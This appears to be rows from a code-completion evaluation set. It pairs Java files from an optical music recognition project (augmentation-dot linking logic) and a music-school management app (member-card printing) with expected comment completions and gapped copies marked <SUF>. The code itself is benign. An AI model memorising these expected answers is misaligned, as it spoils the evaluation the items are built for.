return new Rectangle(dotCenter.x - maxDx, dotCenter.y - maxDy, maxDx, 2 * maxDy);
}
//------------//
// lookupLink //
//------------//
/**
* Try to detect a link between this augmentation dot and either a note
* (head or rest) or another dot on left side.
*
* @param systemRests ordered collection of rests in system
* @param systemHeadChords ordered collection of head chords in system
* @param systemDots ordered collection of augmentation dots in system
* @param system containing system
* @return the best link found or null
*/
private Link lookupLink (List<Inter> systemRests,
List<Inter> systemHeadChords,
List<Inter> systemDots,
SystemInfo system)
{
List<Link> links = new ArrayList<>();
Link headLink = lookupHeadLink(systemHeadChords, system);
if (headLink != null) {
links.add(headLink);
}
links.addAll(lookupRestLinks(systemRests, system));
links.addAll(lookupDotLinks(systemDots, system));
return Link.bestOf(links);
}
}
| musescore/audiveris | src/main/org/audiveris/omr/sig/inter/AugmentationDotInter.java | 6,735 | // Head on or between line(s)?
| line_comment | nl | //------------------------------------------------------------------------------------------------//
// //
// A u g m e n t a t i o n D o t I n t e r //
// //
//------------------------------------------------------------------------------------------------//
// <editor-fold defaultstate="collapsed" desc="hdr">
//
// Copyright © Audiveris 2018. All rights reserved.
//
// This program is free software: you can redistribute it and/or modify it under the terms of the
// GNU Affero General Public License as published by the Free Software Foundation, either version
// 3 of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
// without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License along with this
// program. If not, see <http://www.gnu.org/licenses/>.
//------------------------------------------------------------------------------------------------//
// </editor-fold>
package org.audiveris.omr.sig.inter;
import org.audiveris.omr.glyph.Glyph;
import org.audiveris.omr.glyph.Shape;
import org.audiveris.omr.math.GeoOrder;
import org.audiveris.omr.math.GeoUtil;
import org.audiveris.omr.sheet.Part;
import org.audiveris.omr.sheet.Scale;
import org.audiveris.omr.sheet.SystemInfo;
import org.audiveris.omr.sheet.rhythm.MeasureStack;
import org.audiveris.omr.sheet.rhythm.Voice;
import org.audiveris.omr.sig.relation.AugmentationRelation;
import org.audiveris.omr.sig.relation.DoubleDotRelation;
import org.audiveris.omr.sig.relation.HeadStemRelation;
import org.audiveris.omr.sig.relation.Link;
import org.audiveris.omr.sig.relation.Relation;
import static org.audiveris.omr.util.HorizontalSide.RIGHT;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.awt.Point;
import java.awt.Rectangle;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import javax.xml.bind.annotation.XmlRootElement;
/**
* Class {@code AugmentationDotInter} represents an augmentation dot for
* a note (head or rest) or another dot.
*
* @author Hervé Bitteur
*/
@XmlRootElement(name = "augmentation-dot")
public class AugmentationDotInter
extends AbstractInter
{
private static final Logger logger = LoggerFactory.getLogger(AugmentationDotInter.class);
/**
* Creates a new {@code AugmentationDotInter} object.
*
* @param glyph underlying glyph
* @param grade evaluation value
*/
public AugmentationDotInter (Glyph glyph,
double grade)
{
super(glyph, null, Shape.AUGMENTATION_DOT, grade);
}
/**
* No-arg constructor meant for JAXB.
*/
private AugmentationDotInter ()
{
}
//--------//
// accept //
//--------//
@Override
public void accept (InterVisitor visitor)
{
visitor.visit(this);
}
//-------//
// added //
//-------//
/**
* Add the dot to its containing stack.
*
* @see #remove(boolean)
*/
@Override
public void added ()
{
super.added();
// Add it to containing measure stack
MeasureStack stack = sig.getSystem().getStackAt(getCenter());
if (stack != null) {
stack.addInter(this);
}
setAbnormal(true); // No note or other dot linked yet
}
//---------------//
// checkAbnormal //
//---------------//
@Override
public boolean checkAbnormal ()
{
// Check if dot is connected to a note or to another (first) dot
boolean ab = true;
if (sig.hasRelation(this, AugmentationRelation.class)) {
ab = false;
} else {
for (Relation dd : sig.getRelations(this, DoubleDotRelation.class)) {
if (sig.getEdgeSource(dd) == this) {
ab = false;
}
}
}
setAbnormal(ab);
return isAbnormal();
}
//-------------------//
// getAugmentedNotes //
//-------------------//
/**
* Report the notes (head/rest) that are currently linked to this augmentation dot.
*
* @return the linked notes
*/
public List<AbstractNoteInter> getAugmentedNotes ()
{
List<AbstractNoteInter> notes = null;
for (Relation rel : sig.getRelations(this, AugmentationRelation.class)) {
if (notes == null) {
notes = new ArrayList<>();
}
notes.add((AbstractNoteInter) sig.getEdgeTarget(rel));
}
if (notes == null) {
return Collections.EMPTY_LIST;
}
return notes;
}
//---------//
// getPart //
//---------//
@Override
public Part getPart ()
{
if (part == null) {
// Beware, we may have two dots that refer to one another
// First dot
for (Relation rel : sig.getRelations(this, AugmentationRelation.class)) {
Inter opposite = sig.getOppositeInter(this, rel);
return part = opposite.getPart();
}
final int dotCenterX = getCenter().x;
// Perhaps a second dot, let's look for a first dot
for (Relation rel : sig.getRelations(this, DoubleDotRelation.class)) {
Inter opposite = sig.getOppositeInter(this, rel);
if (opposite.getCenter().x < dotCenterX) {
return part = opposite.getPart();
}
}
}
return super.getPart();
}
//--------------------------//
// getSecondAugmentationDot //
//--------------------------//
/**
* Report the second augmentation dot, if any, that is linked to this (first)
* augmentation dot.
*
* @return the second dot, if any, or null
*/
public AugmentationDotInter getSecondAugmentationDot ()
{
for (Relation dd : sig.getRelations(this, DoubleDotRelation.class)) {
Inter dot = sig.getEdgeSource(dd);
if (dot != this) {
return (AugmentationDotInter) dot;
}
}
return null;
}
//----------//
// getVoice //
//----------//
@Override
public Voice getVoice ()
{
// Use augmented note, if any
for (Relation rel : sig.getRelations(this, AugmentationRelation.class)) {
return sig.getOppositeInter(this, rel).getVoice();
}
// If second dot, use first dot
for (Relation rel : sig.getRelations(this, DoubleDotRelation.class)) {
Inter firstDot = sig.getEdgeTarget(rel);
if (firstDot != this) {
return firstDot.getVoice();
}
}
return null;
}
//----------------//
// lookupDotLinks //
//----------------//
/**
* Look up for all possible links with (first) dots.
*
* @param systemDots collection of augmentation dots in system, ordered bottom up
* @param system containing system
* @return list of possible links, perhaps empty
*/
public List<Link> lookupDotLinks (List<Inter> systemDots,
SystemInfo system)
{
// Need getCenter()
final List<Link> links = new ArrayList<>();
final Scale scale = system.getSheet().getScale();
final Point dotCenter = getCenter();
final MeasureStack dotStack = system.getStackAt(dotCenter);
if (dotStack == null) {
return links;
}
// Look for augmentation dots reachable from this dot
final Rectangle luBox = getDotsLuBox(dotCenter, system);
// Relevant dots?
final List<Inter> firsts = dotStack.filter(
Inters.intersectedInters(systemDots, GeoOrder.NONE, luBox));
// Remove the augmentation dot, if any, that corresponds to the glyph at hand
for (Inter first : firsts) {
if (first.getCenter().equals(dotCenter)) {
firsts.remove(first);
break;
}
}
final int minDx = scale.toPixels(DoubleDotRelation.getXOutGapMinimum(manual));
for (Inter first : firsts) {
Point refPt = first.getCenterRight();
double xGap = dotCenter.x - refPt.x;
if (xGap >= minDx) {
double yGap = Math.abs(refPt.y - dotCenter.y);
DoubleDotRelation rel = new DoubleDotRelation();
rel.setOutGaps(scale.pixelsToFrac(xGap), scale.pixelsToFrac(yGap), manual);
if (rel.getGrade() >= rel.getMinGrade()) {
links.add(new Link(first, rel, true));
}
}
}
return links;
}
//----------------//
// lookupHeadLink //
//----------------//
/**
* Look up for a possible link with a head.
* <p>
* Even in the case of a shared head, at most one head link is returned.
* <p>
* Assumption: System dots are already in place or they are processed top down.
*
* @param systemHeadChords system head chords, sorted by abscissa
* @param system containing system
* @return a link or null
*/
public Link lookupHeadLink (List<Inter> systemHeadChords,
SystemInfo system)
{
// Need sig and getCenter()
final List<Link> links = new ArrayList<>();
final Scale scale = system.getSheet().getScale();
final Point dotCenter = getCenter();
final MeasureStack dotStack = system.getStackAt(dotCenter);
if (dotStack == null) {
return null;
}
// Look for heads reachable from this dot. Heads are processed via their chord.
final Rectangle luBox = getNotesLuBox(dotCenter, system);
final List<Inter> chords = dotStack.filter(
Inters.intersectedInters(systemHeadChords, GeoOrder.BY_ABSCISSA, luBox));
final int minDx = scale.toPixels(AugmentationRelation.getXOutGapMinimum(manual));
for (Inter ic : chords) {
HeadChordInter chord = (HeadChordInter) ic;
// Heads are reported bottom up within their chord
// So, we need to sort the list top down
List<? extends Inter> chordHeads = chord.getNotes();
Collections.sort(chordHeads, Inters.byCenterOrdinate);
for (Inter ih : chordHeads) {
HeadInter head = (HeadInter) ih;
// Check head is within reach and not yet augmented
if (GeoUtil.yEmbraces(luBox, head.getCenter().y)
&& (head.getFirstAugmentationDot() == null)) {
Point refPt = head.getCenterRight();
double xGap = dotCenter.x - refPt.x;
// Make sure dot is not too close to head
if (xGap < minDx) {
continue;
}
// When this method is called, there is at most one stem per head
// (including the case of shared heads)
for (Relation rel : system.getSig().getRelations(
head,
HeadStemRelation.class)) {
HeadStemRelation hsRel = (HeadStemRelation) rel;
if (hsRel.getHeadSide() == RIGHT) {
// If containing chord has heads on right side, reduce xGap accordingly
Rectangle rightBox = chord.getHeadsBounds(RIGHT);
if (rightBox != null) {
if (xGap > 0) {
xGap = Math.max(1, xGap - rightBox.width);
}
break;
}
}
}
if (xGap > 0) {
double yGap = Math.abs(refPt.y - dotCenter.y);
AugmentationRelation rel = new AugmentationRelation();
rel.setOutGaps(scale.pixelsToFrac(xGap), scale.pixelsToFrac(yGap), manual);
if (rel.getGrade() >= rel.getMinGrade()) {
links.add(new Link(head, rel, true));
}
}
}
}
}
// Now choose best among links
// First priority is given to head between lines (thus facing the dot)
// Second priority is given to head on lower line
// Third priority is given to head on upper line
for (Link link : links) {
HeadInter head = (HeadInter) link.partner;
if ((head.getIntegerPitch() % 2) != 0) {
return link;
}
}
return (!links.isEmpty()) ? links.get(0) : null;
}
//-----------------//
// lookupRestLinks //
//-----------------//
/**
* Look up for all possible links with rests
*
* @param systemRests system rests, sorted by abscissa
* @param system containing system
* @return list of possible links, perhaps empty
*/
public List<Link> lookupRestLinks (List<Inter> systemRests,
SystemInfo system)
{
// Need getCenter()
final List<Link> links = new ArrayList<>();
final Scale scale = system.getSheet().getScale();
final Point dotCenter = getCenter();
final MeasureStack dotStack = system.getStackAt(dotCenter);
if (dotStack == null) {
return links;
}
// Look for rests reachable from this dot
final Rectangle luBox = getNotesLuBox(dotCenter, system);
// Relevant rests?
final List<Inter> rests = dotStack.filter(
Inters.intersectedInters(systemRests, GeoOrder.BY_ABSCISSA, luBox));
final int minDx = scale.toPixels(AugmentationRelation.getXOutGapMinimum(manual));
for (Inter inter : rests) {
RestInter rest = (RestInter) inter;
Point refPt = rest.getCenterRight();
double xGap = dotCenter.x - refPt.x;
if (xGap >= minDx) {
double yGap = Math.abs(refPt.y - dotCenter.y);
AugmentationRelation rel = new AugmentationRelation();
rel.setOutGaps(scale.pixelsToFrac(xGap), scale.pixelsToFrac(yGap), manual);
if (rel.getGrade() >= rel.getMinGrade()) {
links.add(new Link(rest, rel, true));
}
}
}
return links;
}
//--------//
// remove //
//--------//
/**
* Remove the dot from its containing stack.
*
* @param extensive true for non-manual removals only
* @see #added()
*/
@Override
public void remove (boolean extensive)
{
MeasureStack stack = sig.getSystem().getStackAt(getCenter());
if (stack != null) {
stack.removeInter(this);
}
super.remove(extensive);
}
//-------------//
// searchLinks //
//-------------//
/**
* Try to find a link with a note or another dot on the left.
* <p>
* In case of a shared head, a pair of links can be returned.
*
* @param system containing system
* @param doit true to apply
* @return a collection of 0, 1 or 2 best link(s) found
*/
@Override
public Collection<Link> searchLinks (SystemInfo system,
boolean doit)
{
// Not very optimized!
List<Inter> systemRests = system.getSig().inters(RestInter.class);
Collections.sort(systemRests, Inters.byAbscissa);
List<Inter> systemHeadChords = system.getSig().inters(HeadChordInter.class);
Collections.sort(systemHeadChords, Inters.byAbscissa);
List<Inter> systemDots = system.getSig().inters(AugmentationDotInter.class);
Collections.sort(systemDots, Inters.byAbscissa);
Link link = lookupLink(systemRests, systemHeadChords, systemDots, system);
if (link == null) {
return Collections.emptyList();
}
final Collection<Link> links;
if (link.partner instanceof HeadInter) {
links = sharedHeadLinks(link);
} else {
links = Collections.singleton(link);
}
if (doit) {
for (Link lnk : links) {
lnk.applyTo(this);
}
}
return links;
}
//-----------------//
// sharedHeadLinks //
//-----------------//
/**
* Modify the provided head link when the target head is a shared head.
* <p>
* There is a very specific case for shared heads.
* See some cases in Dichterliebe01 example.
* <ul>
* <li>If head is located <b>on</b> staff line or ledger, use dot relative location.
* <li>If head is located <b>between</b> staff lines or ledgers, check chords durations:
* <ul>
* <li>If durations are different, assign the dot only to the <b>longer</b>
* (which means lower number of beams or flags).
* <li>If they are identical, assign the dot to <b>both</b>.
* </ul>
* </ul>
*
* @param link the provided (head) link, perhaps null
* @return a collection of (head) links, the provided link for a non-shared head, but one or two
* links for shared heads
*/
public Collection<Link> sharedHeadLinks (Link link)
{
if (link == null) {
return Collections.EMPTY_LIST;
}
final Collection<Link> links = new ArrayList<>();
final HeadInter h1 = (HeadInter) link.partner;
final HeadInter h2 = (HeadInter) h1.getMirror();
if (h2 == null) {
links.add(link);
} else {
// Head on<SUF>
final int p = h1.getIntegerPitch();
if (p % 2 == 0) {
// On line
final int yHead = h1.getCenter().y;
final int yAug = getCenter().y;
final int yCh1 = h1.getChord().getCenter().y;
final HeadInter head;
if (yAug < yHead) {
// Link to upper
head = yCh1 < yHead ? h1 : h2;
} else {
// Link to lower
head = yCh1 > yHead ? h1 : h2;
}
links.add(new Link(head, new AugmentationRelation(), true));
} else {
// Between lines
final int bf1 = h1.getChord().getBeamsOrFlagsNumber();
final int bf2 = h2.getChord().getBeamsOrFlagsNumber();
if (bf1 == bf2) {
// Link to both
links.add(new Link(h1, new AugmentationRelation(), true));
links.add(new Link(h2, new AugmentationRelation(), true));
} else {
// Link to longer
HeadInter head = (bf1 < bf2) ? h1 : h2;
links.add(new Link(head, new AugmentationRelation(), true));
}
}
}
return links;
}
//--------------//
// getDotsLuBox //
//--------------//
/**
* Report dots lookup box based on provided dot center
*
* @param dotCenter center of dot candidate
* @param system containing system
* @return proper lookup box
*/
private Rectangle getDotsLuBox (Point dotCenter,
SystemInfo system)
{
final Scale scale = system.getSheet().getScale();
final int maxDx = scale.toPixels(DoubleDotRelation.getXOutGapMaximum(manual));
final int maxDy = scale.toPixels(DoubleDotRelation.getYGapMaximum(manual));
return getLuBox(dotCenter, maxDx, maxDy);
}
//---------------//
// getNotesLuBox //
//---------------//
/**
* Report notes lookup box based on provided dot center
*
* @param dotCenter center of dot candidate
* @param system containing system
* @return proper lookup box
*/
private Rectangle getNotesLuBox (Point dotCenter,
SystemInfo system)
{
final Scale scale = system.getSheet().getScale();
final int maxDx = scale.toPixels(AugmentationRelation.getXOutGapMaximum(manual));
final int maxDy = scale.toPixels(AugmentationRelation.getYGapMaximum(manual));
return getLuBox(dotCenter, maxDx, maxDy);
}
//----------//
// getLuBox //
//----------//
/**
* Report proper lookup box based on provided dot center
*
* @param dotCenter center of dot candidate
* @param maxDx maximum dx between entity left side and dot center
* @param maxDy maximum dy between entity center and dot center
* @return proper lookup box
*/
private static Rectangle getLuBox (Point dotCenter,
int maxDx,
int maxDy)
{
return new Rectangle(dotCenter.x - maxDx, dotCenter.y - maxDy, maxDx, 2 * maxDy);
}
//------------//
// lookupLink //
//------------//
/**
* Try to detect a link between this augmentation dot and either a note
* (head or rest) or another dot on left side.
*
* @param systemRests ordered collection of rests in system
* @param systemHeadChords ordered collection of head chords in system
* @param systemDots ordered collection of augmentation dots in system
* @param system containing system
* @return the best link found or null
*/
private Link lookupLink (List<Inter> systemRests,
List<Inter> systemHeadChords,
List<Inter> systemDots,
SystemInfo system)
{
List<Link> links = new ArrayList<>();
Link headLink = lookupHeadLink(systemHeadChords, system);
if (headLink != null) {
links.add(headLink);
}
links.addAll(lookupRestLinks(systemRests, system));
links.addAll(lookupDotLinks(systemDots, system));
return Link.bestOf(links);
}
}
|
125018_9 | /*
* @(#)OldMemberCard.java 2.10.0 01/06/16
*
* Copyright (c) 1999-2016 Musiques Tangentes. All Rights Reserved.
*
* This file is part of Algem.
* Algem is free software: you can redistribute it and/or modify it
* under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Algem is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with Algem. If not, see <http://www.gnu.org/licenses/>.
*
*/
package net.algem.edition;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.net.URL;
import java.sql.SQLException;
import java.util.Enumeration;
import java.util.Properties;
import java.util.Vector;
import javax.imageio.ImageIO;
import net.algem.contact.*;
import net.algem.contact.member.Member;
import net.algem.course.Course;
import net.algem.course.CourseCodeType;
import net.algem.course.CourseIO;
import net.algem.enrolment.CourseOrder;
import net.algem.enrolment.Enrolment;
import net.algem.enrolment.EnrolmentIO;
import net.algem.planning.PlanningService;
import net.algem.util.DataCache;
import net.algem.util.ImageUtil;
import net.algem.util.model.Model;
import net.algem.util.module.GemDesktop;
/**
* Canvas for old member card.
*
* @author <a href="mailto:[email protected]">Eric</a>
* @author <a href="mailto:[email protected]">Jean-Marc Gobat</a>
* @version 2.10.0
* @deprecated
*
*/
public class OldMemberCard
extends Canvas {
int margeh = 30;
int marged = 50;
int th;
FontMetrics fm;
Image bim;
Graphics bg;
Font bigFont;
Font normalFont;
Font smallFont;
Font boldFont;
Frame parent;
PersonFile dossier;
Toolkit tk;
Properties props = new Properties();
BufferedImage photo;
private GemDesktop desktop;
public OldMemberCard(GemDesktop desktop, PersonFile _dossier) {
this.desktop = desktop;
parent = desktop.getFrame();
dossier = _dossier;
tk = Toolkit.getDefaultToolkit();
props.put("awt.print.paperSize", "a4");
bigFont = new Font("Helvetica", Font.PLAIN, 10);
normalFont = new Font("TimesRoman", Font.PLAIN, 10);
smallFont = new Font("Helvetica", Font.PLAIN, 8);
}
public void edit(DataCache cache) {
int mgh = 15;
int mpl = 270;
int mgm = 485;
Address adr = null;
Vector tel = null;
MemberCardService service = new MemberCardService(desktop);
PrintJob prn = tk.getPrintJob(parent, "Carte adhérent", props);
if (prn == null) {
return;
}
Dimension d = prn.getPageDimension();
//System.out.println("h:"+d.height+" w:"+d.width);
//System.out.println("resolution:"+prn.getPageResolution());
Graphics g = prn.getGraphics();
g.setColor(Color.black);
//g.drawRect(20, 20, 320, 120);
/*
* CARTE ADHERENT HAUT
*/
Contact adh = dossier.getContact();
// marge droite info adherent
int xadhinfo = 160;
Member member = dossier.getMember();
URL url_photo = getPhotoPath(adh.getId());
photo = getPhoto(url_photo);
g.setFont(normalFont);
//g.drawString("",xadhinfo, 40);
if (photo != null) {
g.drawImage(photo, 20, 28, this);
}
g.drawString("Carte d'adhérent " + String.valueOf(adh.getId()), xadhinfo - 30, 35);
//g.setFont(bigFont);
g.drawString(adh.getGender() + " " + adh.getFirstName() + " " + adh.getName(), xadhinfo - 30, 60);
//g.setFont(bigFont);
g.drawString(cache.getInstrumentName(member.getFirstInstrument()), xadhinfo - 30, 125);
adr = adh.getAddress();
try {
if (adr == null && member.getPayer() != adh.getId()) {
Vector<Address> v = AddressIO.findId(member.getPayer(), DataCache.getDataConnection());
if (v != null && v.size() > 0) {
adr = (Address) v.elementAt(0);
}
}
tel = adh.getTele();
if (tel == null && member.getPayer() != adh.getId()) {
tel = TeleIO.findId(member.getPayer(), DataCache.getDataConnection());
}
} catch (SQLException ex) {
System.err.println(ex.getMessage());
}
if (adr != null) {
//g.setFont(bigFont);
g.drawString(adr.getAdr1(), xadhinfo - 30, 75);
g.drawString(adr.getAdr2(), xadhinfo - 30, 85);
g.drawString(adr.getCdp() + " " + adr.getCity(), xadhinfo - 30, 95);
}
/*
* PLANNING
*/
g.setFont(normalFont);
String where = "WHERE adh=" + dossier.getId() + " AND creation >= '01-07-" + cache.getStartOfYear().getYear() + "'";
System.out.println(where);
java.util.List<Enrolment> v = null;
try {
v = EnrolmentIO.find(where, DataCache.getDataConnection()); // recherche des inscriptions
} catch (SQLException ex) {
System.err.println(ex.getMessage());
}
if (v != null && v.size() > 0) {
Enrolment ins = v.get(0);
Vector cmc = ins.getCourseOrder();// recherche des commande_cours
int cpt1, cpt2, cpt3, cpt4;
cpt1 = cpt2 = cpt3 = cpt4 = 0;
String[] journom = PlanningService.WEEK_DAYS;
Enumeration enu = cmc.elements();
while (enu.hasMoreElements()) {
CourseOrder cc = (CourseOrder) enu.nextElement();
// Récupération du jour correspondant à chaque cours
Course c = null;
try {
c = ((CourseIO) DataCache.getDao(Model.Course)).findId(cc.getAction());
int[] infos = service.getInfos(cc.getId(), adh.getId());
int jj = infos[1];
if (jj == 0) {
jj = 1;
}
String lib = c.getLabel() + ", le " + journom[jj] + ", à " + cc.getStart() + " h";
if (c.getCode() == CourseCodeType.INS.getId()) {
g.drawString(lib, 115, mpl + 0 + cpt1);
cpt1 += 10;
// } else if (c.getCode().startsWith("AT")
// || c.getCode().bufferEquals("Evei")) {
// g.drawString(lib, 115, mpl + 40 + cpt2);
// cpt2 += 10;
// } else if (c.getCode().bufferEquals("F.M.")) {
// g.drawString(lib, 115, mpl + 80 + cpt3);
// cpt3 += 10;
// } else if (c.getCode().bufferEquals("B.B.")
// || c.getCode().bufferEquals("AcRe")) {
// g.drawString(lib, 115, mpl + 120 + cpt4);
cpt4 += 10;
}
} catch (SQLException ex) {
System.err.println(getClass().getName() + "#edite :" + ex.getMessage());
}
}
}
/*
* CARTE MUSTANG BAS
*/
//int x = 160;
if (photo != null) {
g.drawImage(photo, 20, mgm - 7, this);
}
g.setFont(normalFont);
//int yoffset = g.getFontMetrics().getDescent();
g.drawString(String.valueOf(adh.getId()), xadhinfo, mgm);//correction marge droite
//g.drawString(f.getBirth().toString(), xadhinfo + 100, mgm);//correction marge droite
g.drawString(adh.getGender() + " " + adh.getFirstName() + " " + adh.getName(), xadhinfo, mgm + 20);
if (adr != null) {
g.setFont(normalFont);
g.drawString(adr.getAdr1(), xadhinfo, mgm + 35);
g.drawString(adr.getAdr2(), xadhinfo, mgm + 45);
g.drawString(adr.getCdp() + " " + adr.getCity(), xadhinfo, mgm + 55);
}
//g.drawString("Tel",x,mgm+85);
if (tel != null && tel.size() > 0) {
Telephone t = (Telephone) tel.elementAt(0);
g.setFont(normalFont);
g.drawString(t.getTypeTel() + " : " + t.getNumber(), xadhinfo, mgm + 70);
}
if (tel != null && tel.size() > 1) {
Telephone t = (Telephone) tel.elementAt(1);
g.setFont(normalFont);
g.drawString(t.getTypeTel() + " : " + t.getNumber(), xadhinfo, mgm + 80);
}
g.drawString(cache.getInstrumentName(member.getFirstInstrument()), xadhinfo, mgm + 95);
g.dispose();
prn.end();
}
private BufferedImage getPhoto(URL url) {
BufferedImage img = null;
try {
img = ImageIO.read(new File(url.getPath()));
// recadrer si nécessaire
if (ImageUtil.PHOTO_ID_HEIGHT != img.getHeight()) {
System.out.println("rescaling !");
BufferedImage bi2 = ImageUtil.rescale(img);
img = ImageUtil.cropPhotoId(bi2);
}
} catch (Exception ex) {
}
return img;
}
private URL getPhotoPath(int id) {
String photo_path = ImageUtil.PHOTO_PATH + id + ".jpg";
return getClass().getResource(photo_path);
}
}
| musictang/algem | src/net/algem/edition/OldMemberCard.java | 3,175 | // } else if (c.getCode().startsWith("AT") | line_comment | nl | /*
* @(#)OldMemberCard.java 2.10.0 01/06/16
*
* Copyright (c) 1999-2016 Musiques Tangentes. All Rights Reserved.
*
* This file is part of Algem.
* Algem is free software: you can redistribute it and/or modify it
* under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Algem is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with Algem. If not, see <http://www.gnu.org/licenses/>.
*
*/
package net.algem.edition;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.net.URL;
import java.sql.SQLException;
import java.util.Enumeration;
import java.util.Properties;
import java.util.Vector;
import javax.imageio.ImageIO;
import net.algem.contact.*;
import net.algem.contact.member.Member;
import net.algem.course.Course;
import net.algem.course.CourseCodeType;
import net.algem.course.CourseIO;
import net.algem.enrolment.CourseOrder;
import net.algem.enrolment.Enrolment;
import net.algem.enrolment.EnrolmentIO;
import net.algem.planning.PlanningService;
import net.algem.util.DataCache;
import net.algem.util.ImageUtil;
import net.algem.util.model.Model;
import net.algem.util.module.GemDesktop;
/**
* Canvas for old member card.
*
* @author <a href="mailto:[email protected]">Eric</a>
* @author <a href="mailto:[email protected]">Jean-Marc Gobat</a>
* @version 2.10.0
* @deprecated
*
*/
public class OldMemberCard
extends Canvas {
int margeh = 30;
int marged = 50;
int th;
FontMetrics fm;
Image bim;
Graphics bg;
Font bigFont;
Font normalFont;
Font smallFont;
Font boldFont;
Frame parent;
PersonFile dossier;
Toolkit tk;
Properties props = new Properties();
BufferedImage photo;
private GemDesktop desktop;
public OldMemberCard(GemDesktop desktop, PersonFile _dossier) {
this.desktop = desktop;
parent = desktop.getFrame();
dossier = _dossier;
tk = Toolkit.getDefaultToolkit();
props.put("awt.print.paperSize", "a4");
bigFont = new Font("Helvetica", Font.PLAIN, 10);
normalFont = new Font("TimesRoman", Font.PLAIN, 10);
smallFont = new Font("Helvetica", Font.PLAIN, 8);
}
public void edit(DataCache cache) {
int mgh = 15;
int mpl = 270;
int mgm = 485;
Address adr = null;
Vector tel = null;
MemberCardService service = new MemberCardService(desktop);
PrintJob prn = tk.getPrintJob(parent, "Carte adhérent", props);
if (prn == null) {
return;
}
Dimension d = prn.getPageDimension();
//System.out.println("h:"+d.height+" w:"+d.width);
//System.out.println("resolution:"+prn.getPageResolution());
Graphics g = prn.getGraphics();
g.setColor(Color.black);
//g.drawRect(20, 20, 320, 120);
/*
* CARTE ADHERENT HAUT
*/
Contact adh = dossier.getContact();
// marge droite info adherent
int xadhinfo = 160;
Member member = dossier.getMember();
URL url_photo = getPhotoPath(adh.getId());
photo = getPhoto(url_photo);
g.setFont(normalFont);
//g.drawString("",xadhinfo, 40);
if (photo != null) {
g.drawImage(photo, 20, 28, this);
}
g.drawString("Carte d'adhérent " + String.valueOf(adh.getId()), xadhinfo - 30, 35);
//g.setFont(bigFont);
g.drawString(adh.getGender() + " " + adh.getFirstName() + " " + adh.getName(), xadhinfo - 30, 60);
//g.setFont(bigFont);
g.drawString(cache.getInstrumentName(member.getFirstInstrument()), xadhinfo - 30, 125);
adr = adh.getAddress();
try {
if (adr == null && member.getPayer() != adh.getId()) {
Vector<Address> v = AddressIO.findId(member.getPayer(), DataCache.getDataConnection());
if (v != null && v.size() > 0) {
adr = (Address) v.elementAt(0);
}
}
tel = adh.getTele();
if (tel == null && member.getPayer() != adh.getId()) {
tel = TeleIO.findId(member.getPayer(), DataCache.getDataConnection());
}
} catch (SQLException ex) {
System.err.println(ex.getMessage());
}
if (adr != null) {
//g.setFont(bigFont);
g.drawString(adr.getAdr1(), xadhinfo - 30, 75);
g.drawString(adr.getAdr2(), xadhinfo - 30, 85);
g.drawString(adr.getCdp() + " " + adr.getCity(), xadhinfo - 30, 95);
}
/*
* PLANNING
*/
g.setFont(normalFont);
String where = "WHERE adh=" + dossier.getId() + " AND creation >= '01-07-" + cache.getStartOfYear().getYear() + "'";
System.out.println(where);
java.util.List<Enrolment> v = null;
try {
v = EnrolmentIO.find(where, DataCache.getDataConnection()); // recherche des inscriptions
} catch (SQLException ex) {
System.err.println(ex.getMessage());
}
if (v != null && v.size() > 0) {
Enrolment ins = v.get(0);
Vector cmc = ins.getCourseOrder();// recherche des commande_cours
int cpt1, cpt2, cpt3, cpt4;
cpt1 = cpt2 = cpt3 = cpt4 = 0;
String[] journom = PlanningService.WEEK_DAYS;
Enumeration enu = cmc.elements();
while (enu.hasMoreElements()) {
CourseOrder cc = (CourseOrder) enu.nextElement();
// Récupération du jour correspondant à chaque cours
Course c = null;
try {
c = ((CourseIO) DataCache.getDao(Model.Course)).findId(cc.getAction());
int[] infos = service.getInfos(cc.getId(), adh.getId());
int jj = infos[1];
if (jj == 0) {
jj = 1;
}
String lib = c.getLabel() + ", le " + journom[jj] + ", à " + cc.getStart() + " h";
if (c.getCode() == CourseCodeType.INS.getId()) {
g.drawString(lib, 115, mpl + 0 + cpt1);
cpt1 += 10;
// } else<SUF>
// || c.getCode().bufferEquals("Evei")) {
// g.drawString(lib, 115, mpl + 40 + cpt2);
// cpt2 += 10;
// } else if (c.getCode().bufferEquals("F.M.")) {
// g.drawString(lib, 115, mpl + 80 + cpt3);
// cpt3 += 10;
// } else if (c.getCode().bufferEquals("B.B.")
// || c.getCode().bufferEquals("AcRe")) {
// g.drawString(lib, 115, mpl + 120 + cpt4);
cpt4 += 10;
}
} catch (SQLException ex) {
System.err.println(getClass().getName() + "#edite :" + ex.getMessage());
}
}
}
/*
* CARTE MUSTANG BAS
*/
//int x = 160;
if (photo != null) {
g.drawImage(photo, 20, mgm - 7, this);
}
g.setFont(normalFont);
//int yoffset = g.getFontMetrics().getDescent();
g.drawString(String.valueOf(adh.getId()), xadhinfo, mgm);//correction marge droite
//g.drawString(f.getBirth().toString(), xadhinfo + 100, mgm);//correction marge droite
g.drawString(adh.getGender() + " " + adh.getFirstName() + " " + adh.getName(), xadhinfo, mgm + 20);
if (adr != null) {
g.setFont(normalFont);
g.drawString(adr.getAdr1(), xadhinfo, mgm + 35);
g.drawString(adr.getAdr2(), xadhinfo, mgm + 45);
g.drawString(adr.getCdp() + " " + adr.getCity(), xadhinfo, mgm + 55);
}
//g.drawString("Tel",x,mgm+85);
